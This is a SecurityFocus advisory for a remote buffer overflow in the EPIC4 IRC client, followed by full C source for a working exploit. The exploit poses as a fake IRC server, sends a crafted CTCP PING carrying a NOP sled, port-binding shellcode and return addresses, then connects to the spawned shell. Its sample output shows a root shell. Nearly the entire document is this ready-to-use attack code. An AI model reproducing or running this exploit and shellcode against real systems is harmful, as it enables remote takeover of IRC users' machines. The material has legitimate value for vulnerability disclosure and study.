source: http://www.securityfocus.com/bid/8999/info

A remotely exploitable buffer overrun has been reported in Epic. This issue may reportedly be exploited by a malicious server that supplies an overly long nickname in a CTCP messages, potentially allowing for execution of arbitrary code in the context of the client user. It may be also be possible for a malicious client to send such a message, but it is likely that the server will limit the length.

/* EPIC4 remote client-side stack-based overflow
 * by Li0n7 - Li0n7[at]voila[dot]fr
 *
 * EPIC4 versions later than pre2.003 are prone to a remotly exploitable
 * stack-based overflow in send_ctcp() (src/ctcp.c). It occurs when
 * strlen(to) is greater than IRCD_BUFFER_SIZE-12, then alloca(), that
 * doesn't perform any boundary checking, will return a negative pointer
 * As a matter of fact, snprintf is called with a negative value as
 * maximum data lenght to write at *putbuf2 address (pointing to somewhere
 * inside the stack). Since we can control the content of the buffer written
 * at *putbuf2 address without any boundary checking, we can easily execute
 * arbitrary code.
 *
 * This little proof-of-concept code demonstrates the exploitation of the
 * bug discussed here: http://www.securitytracker.com/alerts/2003/Nov/1008131.html
 *
 * This exploit works as a fake IRC server, waiting for connection and then
 * trying to take advantage of the vulnerabilty by sending a specially CTCP
 * request crafted like this: [NOP...SHELLCODE] PRIVMSG a: \001PING [RET]\001\r\n
 * This code needs a few changes to work as a bouncer and more targets to be
 * really efficient.
 *
 * usage: %s [-p PORT][-t TARGET][-f FILE][-r RET][-v]
 *      -p: wait for connection on port <PORT>
 *      -t: choose the target among the platforms available
 *      -f: use <FILE> datas as welcome message
 *      -r: use <RET> as return address
 *
 *
 *$ ./epic4-exp -p 6667 -t 0 -v
 *[+] Setting up a fake IRC server...
 *[+] Awaiting connection on port 6667
 *[!] Connection established with 127.0.0.1
 *
 *[127.0.0.1] USER request received.
 *[127.0.0.1] NICK request received.
 *[127.0.0.1] Fake replies sent.
 *[127.0.0.1] Ping sent.
 *[127.0.0.1] Looking up client version...
 *[127.0.0.1] Client version: ircII EPIC4pre2.002 Linux 2.4.20 - Accept no limitations.
 *[127.0.0.1] Welcome message sent.
 *[127.0.0.1] Building evil string to send (using ret '0xbfffd06b')...
 *[127.0.0.1] Evil CTCP request sent.
 *
 *[+] Let's rock on!
 *Linux li0n7 2.4.20 #2 Mon Mar 17 22:02:15 PST 2003 i686 unknown
 *uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
 *
 */





#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <errno.h>

#define D_BACK       26112
#define D_RET        0xbfffd06b
#define D_PORT       6667

#define HOSTNAME     ": NOTICE AUTH :*** Looking up your hostname...\r\n"
#define IDENT        ": NOTICE AUTH :*** Checking Ident\r\n"
#define HOST_FOUND   ": NOTICE AUTH :*** Found your hostname\r\n"
#define PING         "PING :571503427\r\n"

#define BUFFERSIZE   602
#define SIZE         1024

char shellcode[] = /* bighawk 78 bytes portbinding shellcode (26112) */

"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
"\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10"
"\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1"
"\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89"
"\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e"
"\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\xb0\x0b\xcd\x80";


int back_connection(long host);
char * build(char *host);
char * build_welcome_mes(char *host,char *version);
long resolve_host(u_char *host_name);
void send_mes(int fd,char *host);
void wait_connection(int port,char *buffer);
void die(char *argv);

unsigned int check_version = 0;
unsigned char welcome[128];
unsigned long ret_addr;

struct os_ret_addr
{
      int num;
      char *plat;
      long ret;
};

struct os_ret_addr exp_os[]=
{
      {0,"slack 9.0",0xbfffd06b},
      {0,NULL,0}
};

int
main(int argc,char *argv[])
{
      int i, option, port = D_PORT;
      long host = 0;
      char * option_list = "f:p:r:t:v", buffer[SIZE+1];

      opterr = 0;
      memset(welcome,0,128);

      if (argc < 2) die(argv[0]);

      while((option = getopt(argc,argv,option_list)) != -1)
          switch(option)
          {
              case 'f':
                  strncpy(welcome,optarg,sizeof(welcome)-1);
                  welcome[sizeof(welcome)-1] = '\0';
                  break;
              case 'p':
                  port = atoi(optarg);
                  if(port > 65535 || port < 0) exit(-1);
                  break;
              case 'r':
                  ret_addr = atol(optarg);
                  if(ret_addr > 0xbfffffff || ret_addr < 0x00000000) exit(0);
                  break;
              case 't':
                  for(i=0; exp_os[i].plat != NULL; i++)
                  if(atoi(optarg) > i || atoi(optarg) < 0)
                  {
                      fprintf(stderr," Platforms supported are:\n");
                      for(i=0; exp_os[i].plat != NULL; i++)
                          fprintf(stderr," num: %i - %s - 0x%x\n",i,exp_os[i].plat,exp_os[i].ret);
                          exit(0);
                  }
                  ret_addr = exp_os[atoi(optarg)].ret;
                  break;
              case 'v':
                  check_version = 1;
                  break;
              case '?':
                  fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
                  die(argv[0]);
          }

      wait_connection(port,buffer);
      return 0;
}

char
*build(char *host)
{
      char *buffer,*ptr,*request,*ret;
      int i;
      unsigned long *addr_ptr;

      fprintf(stdout,"[%s] Building evil string to send (using ret \'0x%x\')...\n",host,ret_addr);

      buffer = (char *)malloc(BUFFERSIZE+1);
      request = (char *)malloc(SIZE+1);
      ret = (char *)malloc(256);

      if(!buffer || !request || !ret)
      {
          fprintf(stderr,"[-] Can't allocate memory,exiting...\n");
          exit(0);
      }

      ptr = buffer;
      memset(ptr,0x90,BUFFERSIZE);
      ptr += 500-strlen(shellcode);
      for(i=0;i<strlen(shellcode);i++)
          *ptr++ = shellcode[i];
      ptr += 102;
      *ptr = 0x0;

      ptr = ret;
      addr_ptr = (long *)ptr;
      for(i=0;i<151;i+=4)
         *(addr_ptr++) = ret_addr;
      ptr = (char *)addr_ptr;
      *ptr = 0x0;

      snprintf(request,SIZE,":%s!x PRIVMSG a: %cPING %s%c\r\n",buffer,0x01,ret,0x01);
      return request;
}

int
back_connection(long host)
{
      struct sockaddr_in s;
      u_char sock_buf[4096];
      fd_set fds;
      int fd,size;
      char *command="/bin/uname -a ; /usr/bin/id;\n";

      fd = socket(AF_INET, SOCK_STREAM, 0);
      if (fd < 0)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          exit(0);
      }

      s.sin_family = AF_INET;
      s.sin_port   = htons(D_BACK);
      s.sin_addr.s_addr = host;

      if (connect(fd, (struct sockaddr *)&s, sizeof(struct sockaddr)) == -1)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          close(fd);
          exit(0);
      }

      fprintf(stdout, "\n[+] Let's rock on!\n");

      size = send(fd, command, strlen(command), 0);
      if(size < 0)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          close(fd);
          exit(0);
      }

      for (;;)
      {
          FD_ZERO(&fds);
          FD_SET(0, &fds);
          FD_SET(fd, &fds);

          if (select(255, &fds, NULL, NULL, NULL) == -1)
          {
              fprintf(stderr,"[-] %s\n",strerror(errno));
              close(fd);
              exit(0);
          }

          memset(sock_buf, 0, sizeof(sock_buf));

          if (FD_ISSET(fd, &fds))
          {
              if (recv(fd, sock_buf, sizeof(sock_buf), 0) == -1)
              {
                  fprintf(stderr, "[-] Connection closed by remote host,exiting...\n");
                  close(fd);
                  exit(0);
              }

              fprintf(stderr, "%s", sock_buf);
          }

          if (FD_ISSET(0, &fds))
          {
              read(0, sock_buf, sizeof(sock_buf));
              write(fd, sock_buf, strlen(sock_buf));
          }
      }
      return 0;
}

char *
build_welcome_mes(char *host,char *version)
{
      FILE *fd;
      char *buffer,*file_buffer;

      buffer = (char *)malloc(1024);
      file_buffer = (char *)malloc(512);

      if(!buffer)
      {
          fprintf(stderr,"[-] Can't allocate memory,exiting...\n");
          exit(0);
      }

      if(strlen(welcome) > 0)
      {
          fd = fopen(welcome,"r");
          if(fd < 0)
          {
              fprintf(stderr,"[-] %s\n",strerror(errno));
              exit(0);
          }
          memset(buffer,0,1024);
          while(1)
          {
              if(fgets(file_buffer,512,fd) == NULL) break;
              strncat(buffer,file_buffer,1021);

          }
          fclose(fd);
          strcat(buffer,"\r\n");
      }else{
          snprintf(buffer,1024,": NOTICE AUTH :*** Welcome dude\n"
                               ": NOTICE AUTH :*** Your host is %s, running client %s\n"
                               ": NOTICE AUTH :*** This server was created in the past\n"
                               ": NOTICE AUTH :*** There are 1 users and 0 services on 0 servers\n"
                               ": NOTICE AUTH :*** I have 1 clients and 0 servers\r\n",host,version);
      }
      return buffer;
}

void
send_mes(int fd,char *host)
{
      int size;
      char buffer[1024],data[1024],request[512],version[512];
      char *ptr;

      size = send(fd,HOSTNAME,strlen(HOSTNAME),0);
      if(size < 0)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          exit(0);
      }
      sleep(1);

      size = send(fd,IDENT,strlen(IDENT),0);
      if(size < 0)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          exit(0);
      }
      sleep(1);

      size = send(fd,HOST_FOUND,strlen(HOST_FOUND),0);
      if(size < 0)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          exit(0);
      }
      sleep(1);

      fprintf(stdout,"[%s] Fake replies sent.\n",host);

      size = send(fd,PING,strlen(PING),0);
      if(size < 0)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          exit(0);
      }

      fprintf(stdout,"[%s] Ping sent.\n",host);

      size = read(fd,data,1024);
      if(strstr(data,"PONG"))
      {
          if(check_version)
          {
              memset(version,0,512);
              memset(request,0,512);

              fprintf(stdout,"[%s] Looking up client version...\n",host);

              sprintf(request,":x!x PRIVMSG %s: %cVERSION%c\n",host,0x01,0x01);

              size = send(fd,request,strlen(request),0);
              if(size < 0)
              {
                  fprintf(stderr,"[-] %s\n",strerror(errno));
                  exit(0);
              }
              memset(data,0,1024);
              while(1)
              {
                  size = read(fd,data,1024);
                  if((ptr = strstr(data,"VERSION ")) != NULL)
                  {
                      memset(version,0,512);
                      strncpy(version,ptr+8,sizeof(version)-1);
                      version[sizeof(version)-1] = '\0';
                      fprintf(stdout,"[%s] Client version: %s",host,version);
                      sleep(3);
                      break;
                  }
              }
          }

          strncpy(buffer,build_welcome_mes(host,version),1023);
          buffer[1023] = '\0';
          size = send(fd,buffer,1024);
          fprintf(stdout,"[%s] Welcome message sent.\n",host);
          sleep(1);

          memset(buffer,0,1024);
          strncpy(buffer,build(host),1023);
          buffer[1023] = '\0';
          size = send(fd,buffer,1024);
          sleep(1);

          fprintf(stdout,"[%s] Evil CTCP request sent.\n",host);
      }

      return;
}

void
wait_connection(int port,char *buffer)
{
      struct sockaddr_in s;
      int size, fd, fd2, r;
      char data[1024], nick[512], user[512];
      char *ptr;
      long host = 0;

      memset(data,0,1024);

      fprintf(stdout,"[+] Setting up a fake IRC server...\n");

      fd = socket(AF_INET,SOCK_STREAM,0);
      if(fd < 0)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          exit(0);
      }

      s.sin_port = htons(port);
      s.sin_addr.s_addr = 0;
      s.sin_family = AF_INET;

      bind(fd,(struct sockaddr *) &s,sizeof(s));
      listen(fd,1);
      size = sizeof(s);

      fprintf(stdout,"[+] Awaiting connection on port %i\n",port);

      while(1)
      {
          fd2 = accept(fd,(struct sockaddr *) &s, &size);
          fprintf(stdout,"[!] Connection established with %s\n\n",inet_ntoa(s.sin_addr));

          if(!fork())
          {
              close(fd);
              while(1)
              {
                  memset(data,0,1024);
                  r = read(fd2,data,1024);
                  if((ptr = strstr(data,"USER ")) != NULL)
                  {
                      memset(user,0,512);
                      strncpy(user,ptr+5,sizeof(user)-1);
                      user[sizeof(user)-1] = '\0';
                      fprintf(stdout,"[%s] USER request received.\n",inet_ntoa(s.sin_addr));
                  }

                  if((ptr = strstr(data,"NICK ")) != NULL)
                  {
                      memset(nick,0,512);
                      strncpy(nick,ptr+5,sizeof(nick)-1);
                      nick[sizeof(nick)-1] = '\0';
                      fprintf(stdout,"[%s] NICK request received.\n",inet_ntoa(s.sin_addr));
                  }

                  if((strlen(nick) > 0) && (strlen(user) > 0)) break;
              }
              send_mes(fd2,inet_ntoa(s.sin_addr));
              back_connection(host);
          }
          close(fd2);
      }
      return;
}

long resolve_host(u_char *host_name)
{
      struct in_addr addr;
      struct hostent *host_ent;

      addr.s_addr = inet_addr(host_name);
      if (addr.s_addr == -1)
      {
          host_ent = gethostbyname(host_name);
          if (!host_ent) return(0);
          memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
      }

      return(addr.s_addr);
}

void
die(char *argv)
{
      fprintf(stderr,"   remote exploit for EPIC4 < pre2.003 by Li0n7@voila.fr\n");
      fprintf(stderr,"   vulnerability reported by Stuart Moore <smoore@securityglobal.net>\n");
      fprintf(stderr,"   usage: %s [-p PORT][-t TARGET][-f FILE][-r RET][-v]\n",argv);
      fprintf(stderr,"\t -p: wait for connection on port <PORT>\n");
      fprintf(stderr,"\t -t: choose the target among the platforms available\n");
      fprintf(stderr,"\t -f: use <FILE> datas as welcome message\n");
      fprintf(stderr,"\t -r: use <RET> as return address\n\n");
      exit(0);
}

/* A poil! */
